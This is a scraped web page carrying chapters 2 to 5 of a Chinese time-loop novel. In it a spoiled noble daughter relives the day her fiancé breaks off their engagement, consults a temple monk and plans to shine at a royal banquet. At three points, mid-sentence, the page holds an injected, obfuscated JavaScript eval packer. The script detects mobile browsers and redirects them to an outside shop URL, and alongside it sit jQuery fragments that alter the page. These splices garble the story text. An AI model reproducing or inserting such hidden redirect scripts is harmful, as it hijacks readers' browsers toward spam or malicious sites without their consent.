《一日还(时间循环)》 2. 第 2 章 沈家世代为官,祖上做过一品宰辅,到了沈父这一代,如今四十余岁,不过混上了一个毫无实权的从四品闲职。好在沈家乃簪缨世家,不至于因这一代就此败落。沈氏祖上基业颇多、交游甚广,旁支子弟也有不少在官场为官,再加上沈乘月的祖母仍有一品诰命在身,母亲出身书香世家,兄长也是小小年纪就中了解元,如今沈家仍算是名门望族、后继有人,无人敢看轻了去。至少足够他们把沈乘月宠得天真不知世事,不通人间疾苦。 但沈家这份显赫,和沈瑕其实是没什么干系的。她的生母楚姨娘乃是罪臣之女,那奸臣倒台后,全家女眷被罚入贱籍,而沈父顶着诸方压力把楚姨娘从青楼里强赎了出来。这件事多多少少影响了他的仕途,下人们偶尔闲言碎语,也说起实在难怪老夫人不待见这位楚姨娘了。 沈老夫人如今日日督促长孙用功,下人们观其态度,也猜测她是懒得再去管教不着调的儿子,而是把希望都放在了长孙身上。 沈府的长孙沈岫白是沈乘月的同母兄长,两人的母亲俞氏出自名臣世家,自幼饱读诗书,最是清醒明理。下人们常说,这样的夫人硬生生被楚姨娘气得住进了佛堂,可见后者心机之深沉。 无论如何,沈父的仕途,外加沈母之事,让老夫人提起楚姨娘只有厌恶的份。而这份厌恶似乎也顺理成章地被延续到了沈瑕头上。 即便如此,下人们其实也还是挺喜欢沈家这位二小姐的,她平日里对丫鬟小厮们和和气气,未语先带三分笑,气质又柔婉,一笑宛若轻柔的春水、迎风的柳枝,支使丫鬟们做事也要先赏些物件,谁会讨厌这样的人呢? 刚刚那来报信的丫鬟,又急忙去通知沈瑕院子里的下人来接晕倒的二小姐了。老夫人瞥了一眼她那匆匆忙忙的脚步,未发一言,放下茶盏,看向沈乘月:“月儿,先回去歇着吧,隔日我去和萧家人聊一聊,探探他们的口风再说。” “是,祖母。” 沈乘月也不好继续闹老夫人,应了声是,无措地退下。 她并不知道如何处理痛苦和愤怒,以往任何东西只要她想要她撒娇,就总有人会为她奉上。 萧遇的退婚,对她而言,无异于地裂天崩。 此时此刻,她只觉得自己简直是天底下最可怜的人,回到月华院时,她红肿着双眼,脸上还带着泪痕,可院子里的洒扫丫头却没有像她和老夫人房里的灵巧丫鬟们那样凑过来安慰,只是木然地垂首继续做着自己的活计。 ——— 晨间,沈乘月在床上睁开眼睛。昨夜她哭闹了半宿,最后累得睡着了。 窗外仍然是恼人的蝉鸣声,她捂着耳朵忍了半晌,终于气得用力甩开床帐:“人呢?昨日不是吩咐你们叫捕蝉人过来吗?!” 一个提着冰桶的小丫头满脸的茫然,结结巴巴地道歉:“对不住,大小姐,我立刻叫人过来。” “下去吧,”沈乘月泄了气,“我今日谁也不见,叫所有人都别进来烦我。” “是。”小丫鬟匆匆退下。 沈乘月又倒回了床上,心里默念了一遍萧遇和沈瑕这两个名字,仍是气得牙痒。 不多时,有人敲响了房门:“姑娘,嬷嬷在这儿呢,你还好吗?” “别进来!” “是,老奴不进去,姑娘,萧少爷来了,正在前院等您呢。” 他又来做什么?莫非是……回心转意了? 沈乘月连忙从床上坐起来:“进来给我梳妆吧。” 她担心自己的眼睛太肿,对镜一照,却见双眼干净灵动,与平日无异。她正有些惊喜,一旁的丫鬟捧来两件新制的夏装,问她要穿哪一件。 沈乘月皱眉:“昨日不是才穿过粉色这件吗?怎么又捧过来问?” 丫鬟怔了怔,连忙开口解释:“裙子是新制的……” 孙嬷嬷给她使了个眼色,些许小事,就算小姐记错了,又何必争辩?顺着她就是了。丫鬟也反应过来,改口道了歉,把嫩粉裙子拿下去了。 沈乘月梳妆打扮停当,又带着人前往前院,路上转过一条回廊,正遇见紫藤架下有几个丫鬟小厮凑在一起聊些闲话。 她摇了摇头,只觉得府里的下人着实懒怠,竟连着两日被捉到偷懒,却也懒得理会,正要快步走过,忽听身后孙嬷嬷怒喝道:“住口!敢在这里乱嚼舌根,把这些腌臜事传进姑娘的耳朵里,我这就去禀了老夫人,把你们通通撵出府去!” 沈乘月步子一顿,只觉得这句话诡异得熟悉,但到底是惦记快点见到萧遇,便拦住了孙嬷嬷:“好了,快走吧。” 待到了前院,见到了萧遇,看他还是昨日那身打扮,心下不由有些奇怪:“萧哥哥?” 萧遇行了一礼:“见过沈姑娘。” “你又来做什么?” 见她竟未拉着自己问些裙子美不美、妆容好不好看一类的话,萧遇反而有些惊讶:“沈姑娘,恕在下唐突,萧某今日来访,有要事相商,是……关于我们的婚事。” 沈乘月狐疑地看着他:“什么事?” “我想……退婚。” 沈乘月难以置信:“萧遇,你耍我?” 萧遇错愕:“沈姑娘,在下绝无戏耍之意。” “昨日你不是提过要退婚了吗?”沈乘月气得心口发疼,“亏我还以为你今日是来反悔的!” “昨日?萧某昨日未曾见过沈姑娘。” “怎么可能?昨日你明明就穿着同样的衣着,拿着同一把折扇,站在此处说你要退婚!孙嬷嬷也听到了,”她回头寻求孙嬷嬷的支持,“告诉他,你也听见了是不是?” 孙嬷嬷露出一个略显惊恐的表情:“姑娘,你、你先冷静一下。” 沈乘月又看向其他丫鬟:“昨日我哭了很久,你们都安慰过我不是吗?” 丫鬟们都是满目茫然。 沈乘月再怎么不会看人脸色,也把她们的困惑看了个分明,一时心乱如麻:“怎么回事……” 她又猛地看向萧遇:“你喜欢沈瑕是不是?” 萧遇脸上那一瞬间的惊愕实在做不得假。 “难道……是我在做梦吗?”沈乘月掐了一把自己的手臂,小臂上传来的疼痛分明。 “沈姑娘,你还好吗?” 萧遇的问话,暂时把沈乘月的神智拉了回来:“我没事,你说你要退婚,我不同意,如果没有别的事,萧哥哥就请回吧。” “沈姑娘,我……” “我不听!”沈乘月不想再听他说什么沈瑕柳絮才高一类的话,头也不回,捂着耳朵一路小跑脱离了他嗓音所能波及的范围,直把萧遇看得目瞪口呆。 她疾步闯进祖母所居的荣禄院,老夫人见了她,就笑吟吟地招呼她过去:“听说萧家那小子上门了?和你说了什么?” 沈乘月咬了咬唇:“祖母,萧哥哥要和我退婚。” “什么?这不知好歹的小子!”老夫人皱起了眉头,“可说了什么原因没有?” “他喜欢沈瑕。” 老夫人愣了一下,缓缓靠在椅背上:“我的月儿受委屈了。” 沈乘月再度红了眼眶,凑上前,把脑袋枕在祖母肩上,一时把做不做梦的事抛在了脑后,感受着祖母轻轻拍着自己的背,听着祖母与昨日相差无几的安慰话语,轻轻抽泣了起来。 她是祖母带大的,老夫人给她了多到溢出来的宠爱。从小到大,她习惯了什么事都依赖祖母,祖母也从未让她失望过。 “祖母,我想大哥了。”沈乘月靠在老夫人怀里哭着鼻子撒娇,她是小孩子的性子,受了委屈,就恨不得全世界都围着自己转。 老夫人摸了摸她的脑袋:“那就着人去书院通知一声,让你大哥回来看看你。” 沈岫白明年要参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104016|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加会试,此时正是学业最紧的时候,平日里都住在京郊书院,鲜少回家。老夫人一向把他的学业看得最重,哪怕今年寿宴时,也特地嘱咐他不必来回折腾。此时却为了沈乘月一句话,就要叫他回来。 沈乘月知道祖母是真心疼爱自己,鼻头一酸,又摇了摇头:“算了,一来一回的,等大哥到家,也到了晚上该就寝的时候了。” 老夫人颇新奇地看她一眼:“月儿这是知道心疼你大哥了?” 沈乘月有些不好意思地低下头,她原本想的是自己哭累了,想早点休息。 待她渐渐止了抽噎,老夫人让她去一边吃冰果子,自己叫来丫鬟,悄声吩咐了几句。 当日,沈乘月在祖母房里待了很久,一道用了午膳,丫鬟们呈上十余道小菜,除了老夫人喜欢的两道易克化的,其他都是按沈乘月的口味来的。她本以为自己没什么胃口,但嗅着鼻尖的香气,也捡了几筷子青虾羹、鲜鹅鲊来吃。配菜的饮子是金橘雪泡,老夫人不能喝凉的,也是特地给沈乘月备下的。 中途有丫鬟进来禀报二小姐晕倒,沈乘月这才知道沈瑕又被祖母叫来罚跪了。 她昨天又气又伤心,闹了一日,今日又哭了一回,就算身体无碍,心下也总觉得疲惫,但沈乘月到底留了点心思,抱着老夫人撒娇,说今晚要和祖母一起睡。 老夫人自然无有不允,点着她鼻子笑着答应了她的要求。 一夜无话。 ——— 再度从酣眠中醒来时,沈乘月听到了耳边蝉鸣声,睁开眼,眼前是一幅芙蓉花染的纱帐。 这是她自己的房间,老夫人不爱用这些花里胡哨的东西。 沈乘月紧闭双眼不敢面对现实,直到听到房里窸窸窣窣的声响,才屏住呼吸拉开床帐。再次看到了那个提着冰桶的小丫鬟时,她心下有些无措。 她昨夜明明是在老夫人的房间入睡的,总不能是祖母趁她熟睡时,让丫鬟们把她抬回了月华院吧? 她正惊疑不定,孙嬷嬷又一次带来了萧公子前来拜访,正等在前院的消息。 沈乘月深呼吸,尽量让自己平静下来,抱着一丝希望再次从嫩粉和鹅黄中选了一件裙子,路过回廊时,也特地放轻了脚步,正听到紫藤架下那几个丫鬟小厮提起什么“大小姐”,她凝神去听,似乎听到一句“大小姐院子里撵出去的那个小桃”。 小桃?什么小桃? 她房里贴身的几个丫鬟取名都极为考究,两位大丫鬟,一名云沾,沾衣欲湿杏花雨的沾;一名兰濯,濯清涟而不妖的濯。当初是庙里的大师说她五行缺水,老夫人就给两个大丫鬟改了这个名字。 除了贴身的几个丫鬟,其余院子里洒扫、浣洗的那些丫头,她并不知道、也无需知道她们的名字。 她分神间,孙嬷嬷再度发出怒喝。 沈乘月钦佩地看了她一眼,看来她的耳朵就是比自己的要灵敏许多。掌事嬷嬷这眼观六路耳听八方的本事,实在不是一般人学得来的。 她再度阻止了嬷嬷,因为她还有事情亟待确认。 步履匆匆间,她看到前院的萧遇仍然穿着那身月白色锦缎长衫,徘徊于假山流水之侧。 沈乘月倒吸了一口凉气。 她太过慌张,不知如何应对,只能脸色苍白地打发走萧遇。 她在自己的房里待了一整日,扯着头发怎么想都想不通。左思右想,干脆叫来孙嬷嬷并几个丫鬟,勒令她们今夜无论如何都不能让自己入睡,必要的时候可以泼水。 几人面面相觑,都想不通大小姐这又是哪一出,但见沈乘月说得慎重,便也听令行事,当然泼水是不敢的,只是一见她眼皮打架,就轻轻推她一把,让她保持清醒。 沈乘月灌了几大杯浓茶,苦熬了一夜,待到拂晓时分,见了熹微晨光,才终于松了口气,却忽然眼前一黑,暂时失去了意识。 3. 第 3 章 月华院。 晨间,小丫鬟给冰盆里加了冰块,正要提上冰桶离开时,忽听得床帐里传来一阵低低的哭泣声。 她吓了一跳,小心翼翼地出声试探:“大小姐?” 帐中传出幽幽的一句:“……为什么你总是在这里?” 小丫鬟吓得有些结巴:“我、我来换冰块,对不住,大小姐,我不敢耽搁,我这就退下!” “……” 她慌慌张张地跑掉了。不多时,孙嬷嬷进了房,听到床帐中的饮泣声,柔声问道:“姑娘,这是怎么了?哪个混账招惹您了?” 沈乘月不答反问:“我猜,你进来原本是想说萧公子等在前院,是也不是?” “正是,姑娘已经得了通传了?”孙嬷嬷问,“姑娘为何伤心?莫非是不想见萧公子?” “是,不想见,反正他也不会说什么好话。” “那老奴就去打发了萧公子。”孙嬷嬷总是无条件是站在沈乘月这一边的,连理由都不必问。 “对了,你还不知道,他其实是来找我退婚的。” “什么?!” “孙嬷嬷,你还记得我及笄礼那一日吗?” “自然记得,”孙嬷嬷有些摸不着头脑,却也为了哄她开心顺着她道,“满京贵女的及笄礼都算上,也没有几个及得上我们家姑娘的声势浩大,连皇家都赐了珠宝金簪呢。” 京中高官显爵自然不少,只是肯为家中女儿及笄礼一掷千金大肆操办到沈家这种规模的到底还在少数。 碧玉年华,红衣笄礼,沈家女一场及笄宴,几乎遍邀了整个京城的权贵人家。 当时还有人怀着恶意揣度沈家怕不是揣着心思要把女儿送进皇室,才如此大张旗鼓。只是后来沈萧两家关系一直稳固,这些人才不得不承认,沈家单纯就是宠女儿宠得有些过头了而已。 “那你还记不记得,那一天,我摘下面纱时满堂寂静……” “宾客们深吸了口气又忍不住屏住呼吸,她们是震惊于姑娘的美貌呢,”孙嬷嬷笑道,“记得还有人赞了一句‘倾国倾城,非花非雾,春风十里独步’,老奴识字不多,独这句诗记得最牢。” “那么……为什么我没有被困在那一天?” “姑娘?” “或者那些出去游玩的日子,泛舟湖上、泡汤泉、打扮得漂漂亮亮去参加宴会……孙嬷嬷,你说我怎么就这么可怜?”沈乘月又开始啜泣,“为什么我偏偏被困在今天,被退婚的这一天?一睁眼就要面对萧郎无情……为什么不是那些春风得意的日子?” “姑娘,您到底是怎么了?遇到什么事了,和嬷嬷说说。”孙嬷嬷听得云里雾里,忧心不已。 “算了,不和你说了,我要去见祖母!”沈乘月也不梳洗,起身就要出门,她一向依赖祖母,如今遇上这种怪事,自己没有头绪,便打算把事情如实告诉老夫人,请她拿个主意。 她进老夫人的院子从来无需通传,又是径直闯了进去:“祖母!” “月儿来了?”老夫人含着笑意的声音响起,“听说萧家小子来看你了,怎么不去见他,倒有空往我这里来?” “祖母,我遇到件很可怕的怪事,想请你出个主意。”沈乘月开门见山。 “过来坐着说。” “是,”沈乘月凑到近前,立时嗅到一股苦药的味道,她看了一眼桌案上还没撤下去的药碗,里面还剩了一点褐色液体,不由蹙眉道,“闻起来好苦,祖母你吃的什么药?” “年纪大了,吃点补药而已,不必挂心,”老夫人示意一旁的丫鬟撤掉药碗,“月儿,什么怪事,说来给祖母听听?” “补药吗?”沈乘月看着老夫人鬓边华发,像是此生第一次意识到从来都是自己靠山的祖母已经如此年迈,呆愣愣地摇摇头,即将出口的委屈在舌尖一个翻滚,又被她吞了下去。 “也……没什么,祖母你好好休息。” “你这孩子……” 沈乘月又匆匆跑了,孙嬷嬷看得奇怪:“姑娘不是说要请老夫人拿个主意吗?” “算了,”沈乘月摇头,“我要说的事有点吓人,老人家最忌这等怪力乱神之事,何必让祖母平白跟着担忧。” 孙嬷嬷一愣:“姑娘真是长大了。” “对了,孙嬷嬷,”沈乘月忽生一计,“我觉得我可能是有点中邪了,能不能请人来给我驱一驱?” “姑娘,这话可不能乱说!”孙嬷嬷大惊失色,“您到底是怎么了?” “罢了。”沈乘月随口一提后,也想起巫蛊之术在本朝很受忌讳。沈家在京城有头有脸,家里有人中邪这种事传出去不太好。 她转念一想,又有了主意:“备马车,我要去寒山寺拜一拜!” “……是。”孙嬷嬷简直想不通自家姑娘怎么想一出是一出的,但为了哄人高兴,也立刻点头应下,一边吩咐人去禀告老夫人一声,一边去备了马车。 ——— 寒山寺位于京郊,有大师坐镇,京城里不管达官贵人、富商巨贾还是平头百姓都常来参拜,庙中香火鼎盛,人流兴旺。 沈乘月想清场,倒还不够格,只能耐着性子排队。丫鬟带了杌凳让她坐,又立在两侧给她打扇,用帕子给她拭去额头薄汗,时不时递上一杯微凉的饮子。 待到了佛前,沈乘月却忽然有些忐忑,自己平日里不见有多虔诚,遇到了事情才来临时抱佛脚,也不知道佛祖会不会庇佑自己。 大殿之上,梵唱声声,佛祖低眉,慈眉善目。 沈乘月跪在佛前,用力磕了三个响头。 这“砰砰”的响声,让一旁其他礼佛者都为之一怔。 她叩了首,不顾泛红的额头,闭目摇了签筒,摇出一只签,细看之下,只见签上刻着“峰回路转,柳暗花明”几字,另有一只猴子。沈乘月再怎么不学无术,也不至于不明白“柳暗花明”的意思,知道这应当不是下签。只是转念一想,这寒山寺平日连皇亲国戚都曾来礼佛,这群和尚倒也不是不懂变通,怎会在签筒中放置真正的下签? 沈乘月又排队请僧人帮忙解签,排在她后面的女子与她搭话:“姑娘也是来求姻缘?听说这里求来的姻缘特别灵验呢。” 沈乘月不免心动,想求一求自己和萧遇的婚事:“那我能不能这支先求姻缘,然后再摇一支求另外的事?” “柳暗花明”若应在姻缘上,不正是在暗示自己和萧遇还有机会吗? 这话被一旁的僧人听到,双手合十提醒道:“不可,施主摇出这支签时,心里想的是何事,求的就是何事。” 沈乘月掐了手臂一把,提醒自己还有更重要的事要解决,待轮到她时,便正色道:“师父,此来是为我遇到的一件怪事求您解惑。对了,签上这只猴子是什么意思?” 僧人解释:“签上刻的是石猴,姑娘可听过石猴取经成佛的故事?” 沈乘月点头:“自然,我幼时起便看过戏文。等等,师父的意思莫不是指,我会遇到石猴取经路上的九九八十一难?!” “并非如此,”僧人莞尔,“只是因为我们住持喜欢这个故事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104017|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……”沈乘月这才放松了些,看着木签出神,“我却不怎么喜欢这个故事。” “为何?” “那故事里的石猴最初上九天,下龙宫,是何等自由自在?”他问了,沈乘月也就如实答了,“最后却要规规矩矩被人约束,纵使成佛又如何?” 僧人垂眸微笑:“施主很有见地。” 他回得狡猾,沈乘月看他一眼:“你不认同?” “佛门中人自然有不同看法。” 沈乘月惦记着更重要的事,也懒得为一个虚假的故事与人争辩:“不过是一出话本罢了。” “如果施主的人生是一出话本,你期待的美好结局是什么?” “风光大嫁给我的心上人,琴瑟和鸣,共度此生。”沈乘月答得毫不迟疑。 “贫僧明白了。” 沈乘月一双妙目盯住木签:“师父,你的问题和这签有关系吗?” 僧人颔首,开始认真给她解签:“施主遇到的未必是怪事,兴许是机缘。” 沈乘月不信:“哪有这样的机缘?我抽中的到底算是上签还是下签?” “既不是上签,也不是下签,柳暗花明,乃未定之签。” 沈乘月觉得这话答得甚是敷衍,深吸口气:“把签给我,我去请渡苦大师来看。”渡苦大师是极有名的和尚,德高望重,连皇帝陛下都请他论过禅。 僧人实在是好涵养,见她明摆着不信自己,也丝毫不恼,仍笑着解释:“大师今日不在寺内,姑娘可以改日再来。” “我哪里还有改日了?”沈乘月失望地喃喃道。 “怎会没有改日?姑娘未来还有很长的路要走呢,”僧人提醒道,“记得,妍皮不裹痴骨。” “你说我是痴骨?”沈乘月有些恼怒,但到底也不至于在寺庙里发作,憋着气对着僧人行了礼,对方也客客气气地还了一礼。 沈乘月回首看向蜿蜒排开的队伍,有人面露忐忑,有人愁眉不展,有人衣衫褴褛,有人绫罗绸缎,每个人都怀揣着一个问题来此,想求得一个答案。 沈乘月觉得陷入轮回怪圈里的自己,遇到的问题一定比他们更困难、更重要、更古怪,便想请僧人再认真给自己解一解,但他已经接过下一位礼佛者手中的木签了:“施主要解姻缘?” 芸芸众生的苦难困惑,在僧人眼中,似乎并没有大小之分。 沈乘月茫然地眨了眨眼:“可是、可是您还没有给我指出一条解决怪事的出路。” “路在您的脚下,要由施主自己去走。” “我来求神,你却告诉我自己的路要自己走?” “求神不如求己。” “……”对来拜佛之人说求神不如求己,你也算是个合格的佛门弟子? 沈乘月磨着牙离开大殿,孙嬷嬷迎了上来,见她表情似乎比来时更加迷离,试探着问道:“姑娘,高僧怎么说?” “说我遇到的未必是怪事,兴许是机缘。” 听她语气不太好,孙嬷嬷问道:“姑娘不信?” “我当然不信,机缘?世上哪有这样的机缘?”沈乘月在丫鬟的搀扶下登上马车,“若真是机缘,怎么不直接让萧哥哥回心转意?等等……” 若循环不破,她就相当于拥有无限的时间,她完全可以想办法把萧遇从沈瑕手中夺回来!沈乘月若有所悟,这还真是机缘也说不定呢?也许上天给她这个机会就是为了让她抢回萧哥哥的心呢? 她握了握拳,自己的东西被抢走了,哭哭啼啼有什么用?抢回来就是了! 4. 第 4 章 马车缓缓驶离寺庙,寒山寺人流如织,渐渐便有人借着这人来人往的盛况,在沿途做些小生意。按说这里是属于佛门的地盘,但主持念及百姓辛苦,从未进行驱赶。 寒山脚下有投壶的摊子,沈乘月路过时扫了一眼,孙嬷嬷便笑道:“姑娘小时候最喜欢玩这个了,只是后来忽然就不碰了。” 沈乘月眨了眨眼,回忆起小时候的事:“因为沈瑕总是比我厉害,所以我就不玩了。” 孙嬷嬷试图开解她:“做游戏只要开心便是,何苦在意输赢?” 沈乘月不解:“做游戏当然是为了赢,不然是为了什么?” 孙嬷嬷一时哑口无言。 沈乘月心里有了目标,便一路催促车夫快些回府,街边酒旗漫卷、人群熙攘,她看也不看一眼。 她想要的东西,就一定要得到。 她的计划是学些琴棋书画,一举把沈瑕比下去,便连声催促孙嬷嬷去请来夫子。 孙嬷嬷心知她这是被萧遇的事刺激了,也不好劝,只能依着她的性子来。 待回了沈府,孙嬷嬷先去禀了老夫人,后者听了,颔首应许:“萧家小子弄得她心情不好,不管她想做什么,你们都莫要拘着她。” 于是,沈乘月一日学抚琴,一日学书法,一日学绘画,一日学下棋。 学了整整四天,腻了。 遂招来贴身丫鬟,问曰:“你觉得女子如何才能留住一个男子的心?” 无甚经验的丫鬟挠了挠头:“兴许,靠美貌吧?” 沈乘月欣喜点头:“有道理。” 此生她最得意的,就是这张美人面,张扬明媚,皓齿明眸,一颦一笑间,不知引了多少男儿倾心。 可惜偏偏软不了她心上人的那副心肠。 也许萧遇就是喜欢沈瑕那弱不胜衣的模样吧。 想到这里,沈乘月神色黯淡下来,揽镜自照,忽而又有了个主意:“给我请京城最好的妆娘来。用银子砸,不拘多少,只让她务必今日来府。” “是。” 妆娘不多时便到了沈府,她是一个很爽利的女子,听了沈乘月的要求,似有不解,但仍依言而为,给她化了个清冷柔弱的妆容。 沈乘月对着铜镜看了又看,觉得这模样放在自己脸上虽有些古怪,却也是十分美貌。又见妆娘欲言又止,问道:“怎么?” 妆娘笑道:“我还带了成衣,姑娘要不要挑几件?” “你知道我的尺码?” “在苏五小姐府上见过姑娘一次,估量了一下。” “怪不得你是京里最有名的妆娘。” 沈乘月点了点头,指了几件月白、浅紫、天水碧的,总之都是极雅致清淡的颜色,式样简单、装饰不多:“我试试这几件。” 她平日不太常穿这样的风格,此时对镜一照,几乎有些认不出自己。 她怔怔地盯着镜子里的自己,妆娘与她搭话:“敢问姑娘这打扮是为了什么场合?” “见我的未婚夫婿。” “姑娘如此美貌,萧公子可有福了。” “他若不这样认为呢?” “那就是他眼神不好了。” 沈乘月笑了起来:“你倒是嘴甜。” “恕我多嘴,”妆娘揣度着她的心思,“姑娘大概不常作这样的打扮?” “嗯。” “可是因为萧公子喜欢?” “我不知道,我只是……希望他会喜欢,”沈乘月看着铜镜,“你有什么提议?” 妆娘双手拂过她的发丝,上了一层薄薄的玫瑰油,让如绸的墨发看起来更加柔顺:“其实,妆容能起到的作用说大也大,说小也小,若真想留住男子的心,还要配上语言和行动。” “比如?” “妆容上的柔弱,再配上行动上的示弱。” 沈乘月眉毛一挑:“示弱?” 妆容的作用的确有限,她这略显强势的一挑眉,便把妆容里三分柔弱彻底压了下去。 “是他对不起我!凭什么要我去示弱?” 妆娘连忙道歉:“沈小姐,对不住,是我失言。” 她是京城里最有名的妆娘,除了给女子们上妆,还会顺便提一些情感建议,开解开解她们。若开解到她们心坎里,常常会得到一笔打赏,还会被推荐给她们的小姐妹,得到更多赚钱机会。 不过以往都是混熟了才敢开口,这次是看准了沈乘月化上这般不适合自己的柔弱妆容,必有其目的,才斗胆猜测。没想到就好心办了坏事。 其实这主意对萧遇未尝就没有用,她是料错了沈乘月——这姑娘竟是半点委屈都不肯受。 “罢了,”沈乘月叹息一声,“把这妆洗了吧,我怎能去模仿她?嫌不够丢人吗?” 孙嬷嬷有些担心她:“姑娘……” “孙嬷嬷,”沈乘月忽然问,“萧哥哥说沈瑕品性高洁,你说这品性体现在哪里?” 孙嬷嬷抬头看了一眼她的脸色:“萧公子这样说,兴许是因为二小姐有善名在外吧?” “具体做了什么呢?” “老奴听说是施粥、送药给乞丐,还有抄书赠给贫家学子。” 沈乘月若有所思:“沈府附近可有乞丐吗?” 孙嬷嬷摇头:“附近住得都是达官显贵,乞丐也怕不小心冲撞了贵人,哪里会到这里讨要银钱?” “这样啊。” 孙嬷嬷知情识趣道:“不若老奴请几个乞丐到附近来,待萧公子下次上门时,姑娘也给他们施个粥送个药?” 沈乘月失笑:“这般去做假,那我就是承认自己真的不如沈瑕了。” “是老奴失言。” “罢了,你退下吧。” 沈乘月揽镜看着卸了妆容的自己,忽然怒从心起:“凭什么要我去模仿她?他萧遇能琵琶别抱,难道我就找不到更好的吗?我也要让他来嫉妒我!” 她眼珠一转,计上心来,又让妆娘重新上妆。 “姑娘换上明媚些的妆容定然更加适合,”妆娘试图补救,“您本就美貌,经我装点,包管是国色天香之姿,倾国倾城之貌。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104018|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好。” 妆娘的确手巧,不过在她眉目间勾勒几笔,便让她愈显明媚动人。 沈乘月心下满意,有心让丫鬟去学这技巧,但转念一想,等自己睡一觉再醒来,丫鬟们就会把今日之事忘得一干二净。这轮回怪圈里,想学什么,她只能靠自己的脑子去记。 她从小到大,事无巨细都有人给她安排好,此时此刻,倒是第一次意识到有些事只能靠自己。虽只是描眉画眼的技巧,却也觉得新奇。 待送走了妆娘,她又吩咐大丫鬟:“把舅母给我制的那件红衣取出来。” 这件红色锦绣绫罗纱衣是舅母送她的及笄礼,色调鲜艳如火,上面缀满了红宝石,华美非常,只是衣物太重太繁琐,宽袍广袖迤逦于地面三尺有余,平日也没什么穿着的场合。 “姑娘这是要去做什么?” “我要去参加今晚晖园夜宴。” 孙嬷嬷一怔,连忙劝阻:“姑娘,使不得啊!那夜宴有皇子到场。” 晖园夜宴,说是宴请百官家眷同乐,其实是三皇子到了年龄,皇室要给他相看皇子妃了。 按说沈乘月已经定亲了,要去玩玩也没什么,不过沈老夫人谨慎,耳提面命过叫她不许去凑热闹。 “有什么使不得的?”沈乘月不耐烦,“晖园夜宴也邀请了萧家人,萧遇是要陪他妹子一道赴宴的。” “老夫人嘱咐过……” “我当然知道祖母说过什么,不许去禀告她!” 孙嬷嬷支支吾吾:“姑娘这般美貌,万一、万一……” 沈乘月知道她想说什么,骄傲地一昂首:“我就是要吸引三皇子的注意力,我要让萧遇看看,我能得皇子青眼,偏偏他有眼无珠!他不想要我,多的是男子喜欢我!” 萧遇忽然退婚,她心里自然对他有怨,除了想挽回他,也想找个机会还以颜色。 但萧遇翩翩公子,才貌双全,家世又好,京里不知多少人曾为之心动,沈乘月在自己那些追求者里筛选了一遍,也难以找出足以令他心生妒意的人物。 想来想去,能压过他风头的,她一时也只能想到皇室中人了。 “姑娘,三皇子不是那么容易讨好的,”孙嬷嬷愁得不行,“更严重的是,万一您真的讨了他的好,要如何收场?” 连她都清楚,沈乘月这个脑子和脾气,在皇家怕是混不下去的。 “我自有办法。”沈乘月无视了后半句,只微微一笑。 有了时间重置,想得三皇子青眼还不简单吗? 她又不是真的想嫁他,只是要吸引他一时注意力罢了。 先去参加一次夜宴,观察他对哪一种才艺更感兴趣,然后借着时间循环,苦练一支琴曲或一支舞蹈,想在夜宴上脱颖而出,实在不难。 如果这支舞蹈能将萧遇一同折服,那更是意外之喜了。 人生的前十几年,家世和容貌让沈乘月无往而不利,她对自己的容颜有着无比的自信。何况,她这辈子从没真正吃过苦、努过力,面对任何事,她都是下意识想走捷径的。 5. 第 5 章 晖园,又名“芙蓉园”,取意“芙蓉发红晖,相伴绿水湄。” 园子设计得巧夺天工,步步皆美景。 此时正值夏季,是满园鲜花开得最好的时节。 其中有一株大师精心培育出来的五色芙蓉花,不止外观独特,还怀有宜人的异香,不知引来多少游客观览。今日皇室要用这园子开宴,才提前清了场。 皇子选妃,虽然今晚不算正式相看,但到场的人仍不在少数。不管众人是真心想入选,还是单纯来捧个人场,都把今日夜宴捧成了一场盛宴。 贵妃不便到场,便由三皇子的外祖母周夫人在场相看。 她坐在高台上,笑吟吟地看着年轻女孩子们全力展现着自己,抚琴吟诗作画奏琵琶。有些别出心裁的,还当场表演了一出骑射。 周夫人一视同仁地称赞了每个女孩,然后淡淡移开视线,似乎并没有对其中任何一个有所偏爱。 直到浇花亭下,丝竹声声响起,吸引了全场的注意。 有一红衣女子在亭子中央伴着如清泉般的琴声翩翩起舞,步履轻盈,身轻似燕,抬腕低眉,舞袖生风。 月色灯光交织之下,不知舞出了几重清影。 此人正是沈乘月,腰若细柳,美目盼兮,眼波流转间,实在姝色无双。 几乎所有人的目光都落在她身上,人人都知道沈府的大姑娘生得一副好皮囊,却不知她跳起舞来还能这般惊艳,腰肢摇摆时轻盈得仿佛一片迎风飘舞的雪花,衣摆上的红宝石映着灯火明明灭灭,不知晃花了多少人的眼。 这满园的风头几乎都被她抢了去。 